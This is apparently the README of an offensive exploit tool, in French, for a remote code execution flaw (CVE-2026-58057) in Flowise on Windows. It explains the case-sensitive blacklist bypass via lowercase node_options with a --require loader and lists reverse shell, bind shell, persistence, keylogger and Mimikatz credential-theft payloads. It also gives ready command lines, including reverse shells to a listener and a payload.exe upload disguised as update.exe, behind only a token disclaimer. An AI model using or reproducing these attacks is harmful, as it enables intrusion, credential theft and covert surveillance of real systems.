Exploit RCE Windows pour Flowise, ciblant CVE-2026-58057. Contourne la validation des variables d'environnement grâce à une faille de sensibilité à la casse. Utilise node_options pour injecter du code arbitraire via MCP stdio. Prend en charge le reverse shell, la persistance, le téléversement de fichiers et l'extraction d'identifiants. Réservé aux tests de sécurité autorisés.
Cet outil est un exploit de qualité production pour CVE-2026-58057, une vulnérabilité critique d'exécution de code à distance dans Flowise sur les plateformes Windows. La vulnérabilité provient d'une validation des variables d'environnement sensible à la casse qui ne bloque pas la forme minuscule node_options, permettant aux attaquants de contourner la liste noire NODE_OPTIONS et d'exécuter du code arbitraire via la configuration stdio des MCP personnalisés.
L'exploit illustre des pratiques professionnelles de génie logiciel avec une architecture modulaire, une gestion complète des erreurs et la prise en charge de multiples types de charges utiles.
IMPORTANT: Cet outil est fourni uniquement pour des tests de sécurité autorisés, des tests d'intrusion et à des fins éducatives. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce logiciel. Obtenez toujours une autorisation appropriée avant de tester un système.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
L'attaquant s'authentifie sur Flowise
Crée/modifie un nœud stdio MCP personnalisé
Injecte la variable d'environnement node_options en minuscules
Définit la valeur sur --require malicious-loader.js
Node.js exécute le chargeur lorsque le MCP stdio s'exécute
Exécution de code arbitraire obtenue
✅ Reverse Shell - Connexion de retour vers la machine de l'attaquant
✅ Bind Shell - Ouvre un port d'écoute sur la cible
✅ Exécution de commandes - Exécute des commandes système arbitraires
✅ Upload de fichiers - Transfère des fichiers vers le système cible
✅ Persistance - Plusieurs mécanismes de persistance
✅ Collecte d'informations - Recueille des informations sur le système
✅ Extraction d'identifiants - Intégration Mimikatz
✅ Capture d'écran - Capture les captures d'écran du bureau
✅ Keylogger - Installe une capacité d'enregistrement des frappes clavier
🔐 Méthodes d'authentification multiples - Clé API ou nom d'utilisateur/mot de passe
🔄 Logique de nouvelle tentative automatique - Résiliente face aux problèmes réseau
🧹 Auto-nettoyage - Supprime les fichiers chargeurs de la cible
🌐 Multi-plateforme - Fonctionne sur Windows/Linux/macOS
🎨 Sortie colorée - Lisibilité améliorée
📊 Débogage verbeux - Journalisation détaillée pour le dépannage
Python 3.6 ou supérieur
pip (gestionnaire de paquets Python)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Option | Description | Exemple |
|---|---|---|
-t, --target | URL de Flowise (obligatoire) | http://localhost:3000 |
-k, --api-key | Clé API Flowise | flowise_abc123... |
-u, --username | Nom d'utilisateur | admin |
-p, --password | Mot de passe | password123 |
| Option | Description | Exemple |
|---|---|---|
--payload | Type de charge utile | reverse_shell |
--lhost | Hôte de l'écouteur | 192.168.1.100 |
--lport | Port de l'écouteur | 4444 |
--command | Commande à exécuter | whoami |
--local-file | Fichier à téléverser | payload.exe |
--remote-path | Chemin d'enregistrement distant | C:\\Temp\\update.exe |
| Option | Description |
|---|---|
--interactive | Démarrer un shell interactif |
--verbose | Activer la sortie de débogage |
--timeout | Délai d'expiration des requêtes en secondes |
--retries | Nombre de tentatives |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz